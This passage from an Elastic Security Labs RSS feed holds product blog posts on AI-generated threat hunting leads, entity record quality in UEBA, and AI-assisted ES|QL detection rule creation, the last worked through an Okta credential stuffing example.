<p><strong>Q: How do insider threat programs integrate with SIEM risk scoring?</strong> A: Elastic Security's Entity Analytics Watchlists let insider threat and security operations teams codify existing risk knowledge — departing employees, privileged access holders, acquisition cohorts — and have that context automatically influence entity risk scores without requiring detection engineering involvement.</p>
<hr />
<p><em>Entity Analytics is available in Elastic Security. <a href="https://www.elastic.co/kr/docs/solutions/security/advanced-entity-analytics/watchlists">Learn more about Entity Analytics Watchlists and how the entity store governs user entities.</a></em></p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/entity-analytics-watchlists/entity-analytics-watchlists.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[AI-generated hunting leads: The hunt starts before you ask the question]]></title>
            <link>https://www.elastic.co/kr/security-labs/proactive-threat-hunting-ai-generated-leads</link>
            <guid>proactive-threat-hunting-ai-generated-leads</guid>
            <pubDate>Tue, 05 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Introducing AI-generated hunting leads, proactive, environment-aware threat hypotheses powered by Elastic Entity analytics and integrated AI reasoning.]]></description>
            <content:encoded><![CDATA[<p>Threat hunting has always been a human art; a practitioner staring at logs, forming a hypothesis, and patiently chasing it down. What if the hardest part of the hunt (knowing where to look) could be done for you, automatically, in milliseconds, and tuned specifically to your environment? This is where AI-generated hunting leads come in, allowing you to shift from reactive alerting to proactive defense with entity-centric, risk-based threat hunting tailored specifically to your environment's unique behavioral patterns.</p>
<h2>The hunting gap no one talks about</h2>
<p>Ask any threat hunter what slows them down, and you'll hear the same answer: it’s not the querying or the pivoting; it's the blank page. The moment before the hypothesis is formed. Most analysts know that somewhere in their telemetry there are patterns that signal compromise, lateral movement, or abuse; they just don’t know where to start.</p>
<p>Modern AI agents have a discovery problem: they’re brilliant at answering questions but useless if you don’t know what to ask. This &quot;curiosity gap&quot; traps security teams in a cycle of reactive hunting. Whether it’s waiting for a vendor threat intelligence report to drop, an alert to scream, or a CISO to grill the team during a QBR, the damage is often already done. While analysts wait for a hypothesis, AI-powered adversaries are moving at machine speed—widening an already dangerous window of opportunity.</p>
<p>The industry has tried to close this gap through detection rules, threat intel feeds, and user and entity behavior analytics (UEBA)  scoring. These are necessary, but they're static frames applied to a dynamic reality. A UEBA anomaly tells you something is unusual. It doesn't tell you why it matters in your environment today.</p>
<h3>The core problem</h3>
<p>Detection rules tell you what to look for that’s very specific. Threat intel tells you what others found. Neither one tells you what your environment is uniquely at risk for right now, because neither one actually knows your environment.</p>
<h2>Building the foundation: The entity store</h2>
<p>Solving the hunting gap required us to first solve a data problem. Hunting leads are only as effective as their context; and in security, context is the sum of everything true about an entity over time.</p>
<p>We built the Elastic entity store as a purpose-built ontology for exactly this. Unlike Elastic Common Schema (ECS), which captures the state of a field at event time, the entity store is a longitudinal record, a living profile of characteristics of every user, host, and service in your environment. It tracks four dimensions that matter for security reasoning:</p>
<pre><code class="language-javascript">// Entity Store Schema — Core Characteristics

entity.attributes // Who/what the entity IS
  mfa_enabled: false // From AWS integration
  privileged_groups: [&quot;Domain Admins&quot;] // From AD
  asset_criticality: &quot;high&quot;

entity.lifecycle // Temporal facts
  first_seen: &quot;2024-09-14T08:22:00Z&quot;
  last_active: &quot;2025-03-31T23:47:00Z&quot;
  dormancy_detected: true // Inactive 47 days, now active

entity.behavior // Anomalous signals (rolling window)
  brute_force_victim: true
  unusual_login_hours: true
  new_geo_access: &quot;DE&quot; // First access from Germany

entity.risk // Scored risk aggregation
  calculated_level: &quot;Critical&quot;
  score: 94.2
</code></pre>
<p>This schema isn’t just storage; it's also a reasoning substrate. Each field represents a signal that, in combination with others, tells a coherent story about an entity's current threat posture. A user who was dormant for 47 days, is now active outside business hours, logged in from a new country, and doesn't have multifactor authentication (MFA) is not just risky in isolation; that combination is a hunting lead.</p>
<h2>Reasoning over entity data</h2>
<p>With the entity store providing rich context, we built <a href="https://www.elastic.co/kr/docs/solutions/security/advanced-entity-analytics">Entity analytics AI-hunting leads</a>. These reasoning modules traverse entity profiles and correlate data across users and hosts to surface patterns that human analysts would find meaningful, if they had the time to look everywhere at once.</p>
<p>These AI-generated hunting leads are automatically surfaced on our Entity analytics home page, ingesting the entity store state to identify combinations that constitute a threat hypothesis. This isn't a simple rule match; it’s a narrative hypothesis grounded in your actual environment.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/proactive-threat-hunting-ai-generated-leads/image1.png" alt="Threat gap" title="Three-step diagram, showing entity store snapshots, cross-entity correlation, and hypothesis generation used to identify potential threat scenarios in an environment." /></p>
<h2>What makes this different</h2>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/proactive-threat-hunting-ai-generated-leads/image2.png" alt="Alert dashboard" title="Dashboard titled Entity Analytics, showing high\‑severity alert cards for DataStore, Slack, and Zoom; entity risk level counts; recent anomaly scores with user listings; and a threat summary panel analyzing an alert volume spike for the DataStore service." /></p>
<p>Proactive hunting assistance tools are emerging across the industry. Many are useful tools, but they share a fundamental constraint: They reason over threat intelligence reported information plus event telemetry, not over accumulated entity knowledge.</p>
<p>The difference matters. A query-based approach can find events that match a pattern. An entity-aware approach can find entities that, given everything we know about them, are likely to be involved in something worth investigating. That's a fundamentally richer signal source, and it's one that gets sharper over time as entity history accumulates for what’s been missing in retrohunt features in modern security information and event management (SIEM).</p>
<h2>Hunting as a continuous discipline</h2>
<p>The promise of proactive security is stopping attackers before they reach their objective. Traditionally, the barrier has been analyst capacity. With the rise of AI-driven attacks, this is becoming an impossible task for humans alone.</p>
<p>Entity analytics AI-generated hunting leads don't replace hunters; they multiply them. A senior analyst no longer spends hours figuring out where to look. Instead, they start their shift with a prioritized set of hypotheses that the AI-generated hunting leads already curated. Their time is preserved for what only humans can do: validation, decision, escalation, and response.</p>
<h2>What's next</h2>
<p>Entity analytics AI-generated hunting leads are the first production expression of a broader capability roadmap: an Elastic Security that doesn't wait for you to ask a question. As Entity analytics matures, with expanded entity types such as tracking AI agents, the reasoning surface expands accordingly.</p>
<hr />
<p><em>Entity analytics is available in Elastic Security. <a href="https://www.elastic.co/kr/docs/solutions/security/advanced-entity-analytics/overview">Learn more about advanced entity analytics, AI-hunting leads and how the entity store governs user entities.</a></em></p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/proactive-threat-hunting-ai-generated-leads/proactive-threat-hunting-ai-generated-leads.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Your UEBA is lying to you: Why entity record quality decides everything]]></title>
            <link>https://www.elastic.co/kr/security-labs/ueba-entity-record-quality-analytics</link>
            <guid>ueba-entity-record-quality-analytics</guid>
            <pubDate>Tue, 05 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Most entity analytics systems are confidently wrong. They track users who do not exist, generate risk scores built on noise, and call it behavioral analytics. Learn why the entities records you don't create matter as much as the ones you do and how a confidence-tiered model changes the game.]]></description>
            <content:encoded><![CDATA[<p>There's an uncomfortable truth in security analytics that nobody talks about at conferences: The quality of your detections, alerts, and investigations is only as good as the entity records that represent the users, hosts, and services in your environment.</p>
<p>Not the machine learning models. Not the anomaly detection algorithms. Not the risk scoring engine. The <em>entities</em>: the foundations to teach your system about the data and protect it.</p>
<p>Get the entities wrong, and everything downstream is contaminated, including AI. Your baselines are fiction. Your risk scores are noise. Your analysts are chasing ghosts. And the worst part? Most user and entity behavior analytics (UEBA) implementations get the entities wrong from day one. This blog explains why the entities you <em>don't</em> create matter and how a confidence-tiered model helps.</p>
<p>A note on terminology before we go further: in this piece we’ll distinguish between the real-world thing — a person, a host, a service — and the entity record Elastic Security creates to represent it. The argument that follows is about which records are worth creating, not about which things exist. We’ll use “entity record” when the distinction matters.</p>
<h2>One username, hundreds of identities</h2>
<p>Consider the simplest possible approach to creating a user entity record: Take a <code>user.name</code> field from an event log and call it an entity. A username like <code>deploy</code> appears in your telemetry, so you create a <code>deploy</code> entity record and start building a behavioral baseline.</p>
<p>The problem is immediate and severe. That <code>deploy</code> username might exist on 200 servers. It might be used by 12 engineers and a continuous integration and continuous deployment (CI/CD) pipeline. The behavioral baseline you're building is a smoothie blended from hundreds of different machines, used by different people, for completely different purposes. The system is treating a string match as an identity, barely one step above random.</p>
<p>When this entity record inevitably generates elevated risk scores, analysts investigate, only to discover that the &quot;anomaly&quot; was just a different engineer using the same shared account in a slightly different way. Multiply this across every common username in a large environment and you've built a system that generates investigative busywork at industrial scale.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ueba-entity-record-quality-analytics/risk-table.png" alt="" /></p>
<p>The opposite mistake: An empty dashboard</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ueba-entity-record-quality-analytics/risk-dashboard.png" alt="" /></p>
<p>Some security vendors recognize the problem and swing to the other extreme. They decide (correctly, in principle) that only identity-provider-backed entity records are trustworthy enough for behavioral analytics. If you can't tie an entity record to an authoritative account in a directory like Okta, Entra ID, or Active Directory, don't create one at all.</p>
<p>The engineering reasoning is defensible. The product experience is catastrophic.</p>
<p>A customer rolls out endpoint agents across their fleet, opens the security analytics dashboard, and sees nothing. Zero entities. The feature looks broken. The SOC analyst has no idea why no users are showing up, and worse, has no visibility into the activity happening on those endpoints right now. A purist entity data model has produced a blind spot. </p>
<h2>The missing middle: Host-scoped identity</h2>
<p>Most vendors building UEBA have historically picked between two unsatisfying defaults, bare usernames that blend everyone into noise, or IdP-only entities that leave most deployments with nothing. But without explicit governance over which signals come from which source, the noise still leaks through.What's missing is a middle layer: entities derived from endpoint telemetry that are tightly scoped enough to be meaningful but carefully governed enough to avoid the noise problem.</p>
<p>The instinct might be to simply pair a username with a host and call it an entity record. But without guardrails, this just moves the noise problem down one level. <code>deploy</code> on <code>prod-web-03</code> is still five engineers' blended activity. <code>root</code> on a shared bastion host is still everyone and no one. You've reduced the blast radius from &quot;all servers&quot; to &quot;one server,&quot; but the behavioral baseline is still a fiction if the underlying account is shared, automated, or observed only through a failed brute-force attempt that never actually succeeded.</p>
<p>The real question isn't whether to create local host-scoped entity records. It's <em>which</em> host-scoped entity records are worth creating and with what governance over how they participate in risk scoring and identity resolution downstream.</p>
<h2>The Elastic approach: Two kinds of entities, governed differently</h2>
<p>One answer is to recognize that not all record sources are equal and to build that distinction into the architecture itself, governing how each record is created, enriched, scored, and resolved.</p>
<p>This is the approach Elastic Security takes. Instead of treating all entity records as interchangeable, the system draws a clear line between <strong>identity-provider-backed entities</strong> and <strong>endpoint-observed local host entities</strong> and governs each category differently under the hood.</p>
<p><strong>Identity-provider-backed entities</strong> are created only by authoritative identity systems: Okta, Entra ID, Google Workspace, Active Directory, and other identity-provider namespaces across identity and access management (IAM), cloud platforms, software as a service (SaaS), and privileged access management (PAM) systems. These entity records represent verified accounts in systems that own and manage those accounts. They get the full analytical treatment, that is, rich behavioral baselines, cross-platform enrichment from 120+ security integrations, and full participation in person-level risk scoring.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ueba-entity-record-quality-analytics/entity-panel.png" alt="" /></p>
<p><strong>Endpoint-observed entities</strong> are created from endpoint telemetry: Your endpoint detection and response (EDR) agent observes <code>jdoe</code> active on a specific host and creates a host-scoped entity record tied to that local machine. These entity records are real and useful, but the system knows they carry less identity certainty, and it governs them accordingly. </p>
<p>Analysts don't need to think about any of this machinery. What they see is an entity store that's populated from day one with more accurate user entity records. The governance happens in the architecture so it doesn't have to happen in the analyst's head.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ueba-entity-record-quality-analytics/entities.png" alt="" /></p>
<p>(An endpoint-observed entity for sarah.chen active on her corporate MacBook. The entity name (sarah.chen@CORP-MAC-SC-2024) uses the human-readable hostname for readability. The entity ID (user:sarah.chen@b92f1e3a-7d4c-4a8b-9f2e-1c3d5e7f9012@local) uses the machine's hardware UUID instead of its hostname — this is intentional. Hostnames change when a device is renamed or reimaged; the hardware UUID is permanent. The @local suffix identifies this as an endpoint-observed entity: it represents sarah.chen's activity on this specific machine, not sarah.chen as a verified identity across your organization.)</p>
<h2>From fragmented accounts to a Unified User Group. </h2>
<p>Even when you get entity record creation right, you’re still left with a fragmentation problem no amount of per-entity discipline can solve alone.</p>
<p>Consider John Doe in a large enterprise. He has an Okta account for SaaS access, an Entra ID account tied to his corporate laptop, and an Active Directory account for on-prem systems. Each is a legitimate, authoritative entity record by every standard described above, and yet they’re three separate records for the same human being, each with its own risk history, each generating signals in isolation.</p>
<p>When John’s Entra account shows a lateral movement indicator the same day his Okta account flags a suspicious login from an anomalous location, those signals may never connect. They exist as separate entities, investigated in isolation, by analysts who have no automated way to know they belong to the same person. The cross-surface campaign that entity analytics is supposed to catch hides in plain sight between identity providers.</p>
<p>Elastic Security solves this through automatic entity resolution: consolidating a user’s fragmented digital footprint across Okta, Entra ID, Active Directory, and more into a single unified identity. John Doe becomes a first-class citizen in the entity store: one primary record, all associated accounts grouped together, one aggregated risk score that reflects everything happening across every identity surface he touches. Resolution runs continuously as new integrations come online, without manual curation.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ueba-entity-record-quality-analytics/entity-sources.png" alt="" /></p>
<p>In the image above, we've created one entity record per user account and grouped them together, so when an analyst reviews the record, all related identities appear in one place.</p>
<h2>What this changes for analysts</h2>
<p>For the security operations center (SOC) analyst working a 2 a.m. alerted by their Elastic agentic workflow, these two architectural decisions (confidence-tiered entity governance and unified identity resolution) change the investigation fundamentally.</p>
<p>Instead of opening four separate entity cards for the same person, they open one. Cross-provider risk signals are aggregated into a single score, and attack narratives that span identity systems are visible as narratives, not as disconnected data points buried in separate views.</p>
<p>Compare this to investigating a bare deploy entity record with a risk score of 70 that’s actually an artifact of 12 people’s blended activity across 200 servers. One investigation leads somewhere. The other erodes trust in the entire capability, which is the real cost of noisy entity records. Not just the false positive itself, but the analyst who learns to ignore entity risk scores entirely.</p>
<h2>The entities records you don't create</h2>
<p>Perhaps the most underappreciated aspect of entity analytics design is restraint. Every entity record you create has a cost: Compute for baselining, storage for history, analyst attention when it generates alerts, and potential for noise propagation into the broader analytical model.</p>
<p>The discipline to <em>not</em> create an entity record (to require a minimum evidence threshold) is what separates an entity analytics system that gets more useful over time from one that slowly drowns its operators in noise.</p>
<p>In practice, this means maintaining a configurable exclusion list for common service and shared accounts: <em>root</em>, <em>jenkins</em>, <em>deploy</em>, <em>postgres</em>, and others like them. These accounts exist on hundreds of machines, are used by automated processes and multiple humans interchangeably, and would produce baselines that mean nothing. Elastic Security ships a default list covering the most common offenders. Today the list operates at the username level — root is excluded uniformly regardless of which host it appears on — and is fixed. Future iterations will make it configurable, letting teams add their own environment-specific service accounts and, eventually, specify compound patterns that combine username and host. That would allow excluding root globally on shared infrastructure while still creating a host-scoped entity when that account appears on a personal workstation where the activity is attributable to a specific person. The architecture is already built for it: because endpoint-observed entities are keyed as <code>{user.name}@{host}</code>, compound rules are a coherent extension, not a redesign.</p>
<p>The higher-fidelity approach we've described directly mitigates the broader noise problem. When entity records are created from any username string in a log, your ML models end up baselining service accounts, typo'd logins, and shared kiosk accounts as if they were people — a 2 a.m. backup job looks anomalous against a human baseline, and a one-event typo'd login never accumulates enough data to baseline at all. When entity records are anchored to authoritative identity sources and resolved across their various login forms, the model learns patterns for actual humans doing actual work. Anomalies become meaningful because the baseline is meaningful.</p>
<p>The best entity analytics isn't the one that creates the most entities. It's the one that creates the <em>right</em> entities, governs them by what it actually knows about their source and scope, and builds its analytical investment proportionally. Everything else (risk scoring, behavioral baselines, entity resolution, anomaly detection, and AI skills) is downstream of that foundational decision. Get the entity records right, and the analytics follow. Get them wrong, and no amount of machine learning or AI can save you.</p>
<p><em>Entity analytics is available in Elastic Security.</em><a href="https://www.elastic.co/kr/docs/solutions/security/advanced-entity-analytics/entity-store"> <em>Learn more about advanced entity analytics and how the entity store governs user entities.</em></a></p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/ueba-entity-record-quality-analytics/header.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[From plain English to production rule: AI-native Elasticsearch ES|QL detection in Elastic Security]]></title>
            <link>https://www.elastic.co/kr/security-labs/ai-esql-detection-rule-creation</link>
            <guid>ai-esql-detection-rule-creation</guid>
            <pubDate>Mon, 04 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security now lets analysts describe a threat behavior in plain language and receive a complete, validated Elasticsearch ES|QL detection rule in return, no query expertise required.]]></description>
            <content:encoded><![CDATA[<p>Elastic Security now includes AI-powered detection rule creation, built into the rule creation workflow. Analysts describe a threat behavior in plain English and receive a complete, validated Elasticsearch Query Language (ES|QL) rule in return, with MITRE ATT&amp;CK mappings, severity recommendations, and a preview against live data, all without leaving the platform or writing a single line of query syntax. This post walks through exactly how that works using an Okta credential stuffing and account takeover scenario as the example.</p>
<h2>Why detection engineering needs AI-native tooling</h2>
<p>The threat landscape has changed. Attackers are increasingly using AI to automate and scale their operations: generating <a href="https://hoxhunt.com/guide/phishing-trends-report">phishing campaigns at volume</a>, accelerating <a href="https://www.rapid7.com/blog/post/tr-accelerating-attack-cycle-2026-global-threat-landscape-report/">vulnerability research and exploitation</a>, and launching credential attacks that would have required significant manual effort just a few years ago. The result is a faster, higher-volume threat environment where the window between a new attack pattern emerging and it hitting your environment is narrowing.</p>
<p>Detection engineering teams are on the other side of that equation. The expectation is that coverage keeps pace with the threat, but the tooling available to write, test, and deploy rules hasn’t historically matched the speed at which new attack patterns appear. Writing an effective detection rule from scratch requires deep familiarity with the query language, the field schema, and the aggregation logic needed to express the behavior you are trying to catch, before you even begin thinking about the threat itself. For most security teams, that friction means a growing backlog and gaps in coverage that attackers can exploit.</p>
<p>Arming detection engineers with native, AI-powered tooling isn’t just about convenience; it’s also about keeping pace with an adversary that’s already using AI to move faster. Elastic Security is now adding AI rule creation, powered by the <a href="https://www.elastic.co/kr/docs/explore-analyze/ai-features/elastic-agent-builder">Elastic Agent Builder</a>. Unlike external AI tooling or stand-alone code generation workflows, this capability is built into the detection engineering experience: The rule is created and validated, with results preview generated entirely within your platform, against your own data, without leaving Elastic Security. Analysts can now describe what they want to detect in natural language and receive a complete, ready-to-review ES|QL rule in return, without leaving the rule creation workflow. This capability is available at the Enterprise license tier.</p>
<p>Support for ES|QL rule creation is available now. Additional rule types are on the roadmap, so keep an eye on upcoming releases as these capabilities expand.</p>
<h2>Detections without the heavy lifting</h2>
<p><a href="https://www.elastic.co/kr/guide/en/elasticsearch/reference/current/esql-language.html">ES|QL</a>, Elastic's pipeline query language, is very helpful for behavioral and aggregation-based detections. Its pipe-based syntax makes it natural to express the kind of &quot;filter, count, group by, threshold&quot; logic that underlies most modern detections: How many failed logins came from this IP? Which accounts were targeted? Does this count exceed the expected baseline?</p>
<p>That same expressiveness is also what makes ES|QL harder to write by hand than a simple field-match query. You need to think in terms of pipelines: Filter first with <code>WHERE</code>, aggregate with <code>STATS...BY</code> , and then filter again on the computed values. It requires knowing the right Elastic Common Schema (ECS) field names, the correct function syntax, and how the pipeline stages interact. This is exactly the kind of structured, pattern-based logic that AI can translate reliably from a plain English description.</p>
<p>With the new detection engineering <a href="https://www.elastic.co/kr/security-labs/skills-elastic-security-9-4">skills</a> and the knowledge of Elastic documentation, ECS field definitions, and local data access, the <a href="https://www.elastic.co/kr/docs/explore-analyze/ai-features/agent-builder/builtin-agents-reference">Elastic AI Agent </a>uses detection engineering best practices to come up with the rule, and moreover, the generated rule query is validated before it’s returned: What you see in the editor will run.</p>
<h2>Walkthrough: Detecting Okta credential stuffing and account takeover</h2>
<p>A credential stuffing attack that succeeds in breaching an account doesn’t stop at the login. The full attack chain (multifactor authentication [MFA] bypass, session establishment, privilege escalation, and policy modification) leaves a distinct footprint across Okta system logs if you know what to correlate. This is exactly the kind of multistage behavioral pattern that ES|QL handles well: Collect all the relevant event types, classify each one, aggregate by the shared identity attributes, and then apply threshold logic that requires the full sequence to be present before alerting.</p>
<p>Writing that query manually means knowing the Okta-specific <a href="https://developer.okta.com/docs/reference/api/event-types/">event action names</a>, knowing how to use <code>EVAL</code> with <code>CASE</code> to create per-event type flags, and how to then aggregate those flags with <code>SUM</code> to count each stage independently. It’s a realistic but nontrivial query, exactly the kind that benefits most from AI generation.</p>
<p>Imagine your team has<a href="https://www.elastic.co/kr/docs/reference/integrations/okta"> an Okta integration</a> and logs are coming in. Threat intelligence has flagged an active campaign targeting Okta tenants: automated credential stuffing followed by MFA fatigue and post-compromise privilege changes. You need detection coverage today. </p>
<p>Note: We’re skipping the step of checking whether prebuilt detection rules exist or are already enabled, for the simplicity of the scenario here.</p>
<h3>Opening the AI Agent rule creation flow</h3>
<p>From the Elastic Security sidebar, navigate to <strong>Detection rules</strong> and click <strong>Create a rule -&gt; AI rule creation</strong>. </p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ai-esql-detection-rule-creation/rule-creation.png" alt="New AI rule creation option" title="A screenshot of the Elastic Security detection rules page showing options to create a rule, including AI rule creation and manual rule creation, along with navigation tabs for installed rules, rule monitoring, and rule updates." /></p>
<h3>Describing the detection in plain language</h3>
<p>No special syntax is required. Describe the full attack chain the way you would explain it to a colleague, including the data source and the specific event sequence you want to match:</p>
<p>Analyst prompt:</p>
<p><code>In Okta, detect when the same user and source IP shows: three or more failed logins due to bad credentials, at least one MFA failure, then a successful login, and then either a privilege grant or a policy update. That full sequence together is a credential stuffing attack that succeeded.</code></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ai-esql-detection-rule-creation/threat-agent.png" alt="AI Agent panel open with the rule creation prompt." title="A screenshot of Elastic Security showing installed Okta credential‑stuffing detection rules on the left and a Threat Hunting Agent chat panel on the right with a prompt describing the sequence of events that should trigger a credential‑stuffing detection rule." /></p>
<p>The AI Agent processes this against its knowledge base, including Okta integration field mappings and ECS conventions, and executes multiple steps that we can follow and review:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ai-esql-detection-rule-creation/rule-reasoning.png" alt="AI Agent panel open showing the agent reasoning steps." title="A screenshot of Elastic Security showing a list of Okta credential‑stuffing detection rules on the left and a detailed reasoning panel on the right that outlines the steps taken by an AI agent to generate an ES|QL detection rule, including reading files, generating the query, creating the rule name and description, and selecting tags." /></p>
<p>And then it returns a complete ES|QL rule that covers the full attack sequence described.</p>
<h3>Reviewing and adjusting the generated rule logic</h3>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ai-esql-detection-rule-creation/rule-panel.png" alt="Resulting rule in the AI Agent panel and button to apply." title="A screenshot of an Elastic Security panel showing the completed ES|QL detection rule for an Okta credential‑stuffing attack, including the rule description, detection logic, tags, severity, risk score, interval, and lookback time, with a button to apply the rule." /></p>
<p>There’s a lot happening in this rule’s query, and it’s worth understanding each stage, because the structure itself tells the story of the attack chain.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ai-esql-detection-rule-creation/query-preview.png" alt="Expanded generated ES|QL rule query preview." title="A screenshot showing an expanded ES|QL query preview for an Okta credential‑stuffing detection rule, displaying the full query with counts for failed logins, MFA failures, successful logins, and post‑compromise events, along with the final filtered and kept fields." /></p>
<p>The query is concise by design: It uses ES|QL's inline <code>WHERE</code> filtering inside <code>COUNT()</code> to compute each stage of the attack chain in a single <code>STATS</code> pass, without needing a separate <code>EVAL</code> block. Here’s what each part does:</p>
<p><code>FROM logs-okta*</code> scopes the query to all Okta log indices, using a wildcard that picks up <code>logs-okta.system-*</code> and any other Okta data streams in the environment.</p>
<p>The <code>STATS</code> block is the core of the detection. It aggregates all Okta activity and computes four counters per unique combination of <code>user.name</code> and <code>source.ip</code>, one for each stage of the attack chain. <code>failed_logins</code> counts <code>user.session.start</code> events with <code>outcome: failure</code> (the password spray attempts). <code>mfa_failures</code>counts failed MFA challenges, indicating the attacker encountered a second factor and attempted to push through it.</p>
<p><code>successful_logins</code> counts <code>user.session.start</code> events with <code>outcome: success</code>; a value of one or more means the attacker got in. <code>post_compromise_events</code> counts any of six actions that indicate the attacker is acting on their objective after login: adding the account to a group, granting application access, escalating privileges, modifying a policy lifecycle, updating a policy rule, or changing the account profile. This is a broad net that covers the full range of post-compromise behavior seen in Okta account takeover incidents.</p>
<p>The <code>WHERE</code> clause after the aggregation requires all four conditions to be true simultaneously before a row becomes an alert. This is what makes the rule high-fidelity. A user who forgot their password and eventually logged in won’t match because they’ll have no post-compromise events. An attacker who got through but took no further action won’t match either. All four stages must be present.</p>
<p>The <code>KEEP</code> statement trims the output to the six fields that matter for triage (the targeted account, the source IP, and the count for each stage), giving the responding analyst everything they need to start an investigation without querying the raw logs first.</p>
<p>Along with the query, the AI Agent generates the following rule metadata: rule name, description, severity and risk score recommendations, MITRE ATT&amp;CK technique and tactic mapping (T1110.004 Credential Stuffing, T1078 Valid Accounts, ), execution schedule, and tags. Where other rules exist, the AI Agent also reuses relevant tags from those rules, so new custom rules stay consistent with your existing detection library from the start. The data source is selected from indexes available in the system, or data ingestion is suggested. The rule fields are editable with an AI Agent before or after filling the resulting rule information in the rule creation form.</p>
<p><strong>Tip:</strong> You can also ask the AI Agent to explain an existing rule query, suggest threshold adjustments based on a description of your environment, or help troubleshoot unexpected results.</p>
<p>Let’s keep working on the rule to adjust a few things. We want to ensure the rule detects credential stuffing and not other failure reasons, like expired passwords or locked accounts. We want to ensure the attack sequence is preserved.</p>
<p>Using AI Agent, we’ll ask it to fix these few things. It comes back with the adjusted query and summarizes what it did.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ai-esql-detection-rule-creation/logic-refinement.png" alt="AI Agent panel with additional refinement prompt and results." title="A screenshot of an Elastic Security rule editor showing an ES|QL rule definition on the left and an AI Agent panel on the right that provides additional refinement guidance for credential‑stuffing detection logic, including explanations of filtering failed logins and improving event specificity." /></p>
<p>We now apply the changes to the rule form from the AI Agent chat:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ai-esql-detection-rule-creation/rule-changes.png" alt="AI Agent panel with summary of suggested rule changes." title="A screenshot of an AI Agent panel summarizing suggested updates to an Okta credential‑stuffing detection rule, including filters for invalid‑credential failures and a four‑stage ordered sequence for failure, MFA failure, successful login, and post‑compromise activity." /></p>
<h3>Previewing and enabling the rule</h3>
<p>Before enabling, use the Preview rule results panel to run the query against recent data in your environment. Any existing matches will surface immediately, running against your actual Okta log data in your Elastic deployment (no sample data, no sandbox, no external validation step required), useful both for validating that the query logic is correct and for checking whether an attack may already be in progress in your Okta tenant.</p>
<p>In this example, we’ve added sample logs to get a single alert generated:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ai-esql-detection-rule-creation/rule-preview.png" alt="Rule editing view with Preview results, along with open AI Agent panel." title="A screenshot of an Elastic Security rule editing view showing an ES|QL query and preview results on the left, with an AI Agent panel on the right providing additional guidance for refining credential‑stuffing detection logic." /></p>
<p>Now, satisfied with the results, we’ll enable the rule. It will begin executing on its configured schedule and generate alerts for any user and source IP combination where the full attack sequence is observed within the query window.</p>
<p>If we execute the rule manually for the past week to find any past attacks and check resulting alerts, we see the same alert we’ve gotten in the Rule Preview.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/ai-esql-detection-rule-creation/rule-alerts.png" alt="Rule Alerts view." title="A screenshot of an Elastic Security rule alerts view showing an open alert for an Okta credential‑stuffing and account‑takeover rule, including a trend graph stacked by user name and a table listing the alert’s timestamp, rule name, severity, risk score, and reason." /></p>
<p><strong>Note:</strong> AI-generated rules should be reviewed before deployment in production environments. The AI Agent may not have full awareness of your specific data schema, log source quirks, or environment-specific baseline behavior. Use the rule preview to validate against your actual data before enabling. </p>
<h2>Impact on detection engineering workflows</h2>
<p>The walk-through above, from opening the rule creation form to having a validated, multistage, MITRE-mapped ES|QL rule covering the full Okta account takeover chain, takes a few minutes. Writing the same query manually would require knowing the Okta-specific event action names, the correct <code>okta.outcome.reason</code> field and its enumerated values, how to structure <code>EVAL</code> with <code>CASE</code> to produce per-stage flags, how to aggregate those flags with <code>SUM</code> rather than <code>COUNT</code>, and how to express a compound post-compromise condition using <code>OR</code> across two aggregated fields. For an analyst onboarding a new data source under time pressure, that’s a significant amount of context to hold simultaneously.</p>
<p>The AI Agent doesn’t replace detection expertise. The analyst still makes every meaningful decision: which event types constitute the attack chain, what thresholds make sense for their environment, and whether the preview results look correct. What changes is the time it takes to get from having threat knowledge to having a working rule. Engineers who understand the attack and can describe it iterate and get a production-quality query back quicker, rather than spending time on implementation mechanics.</p>
<p>This matters most at the moments when speed is most critical: when a new campaign is active, when a data source has just been onboarded, or when an existing rule needs rapid refinement because the threat has evolved. AI-powered attackers aren’t waiting for your rule backlog to clear. Detection engineering tooling shouldn’t require it either.</p>
<h2>What's next</h2>
<p>AI rule creation for ES|QL is the first step in a broader expansion of AI Agent-driven detection engineering in Elastic Security. ES|QL was the natural starting point given its aggregation-first pipeline structure, which maps cleanly to the behavioral descriptions analysts naturally provide. Support for additional rule types and additional quality of life rule creation steps and beyond is on the roadmap. Keep an eye on the<a href="https://www.elastic.co/kr/security-labs"> Elastic Security Labs</a> blog and release notes for updates as new capabilities become available.</p>
<p>For a broader look at how AI Agents are reshaping the detection engineering role, from threat modeling and telemetry tuning through to rule authoring and maintenance at scale, see<a href="https://www.elastic.co/kr/security-labs/supercharge-your-soc"> Supercharge Your SOC: Detection Engineering in the Era of AI Agents</a> on Elastic Security Labs. For a comprehensive overview of the full detection engineering toolset available in Elastic Security today, including prebuilt rules, alert suppression, MITRE ATT&amp;CK coverage, and Detections as Code, see<a href="https://www.elastic.co/kr/blog/elastic-security-detection-engineering"> Know your tools: The full range of Elastic Security's detection engineering capabilities</a>.</p>
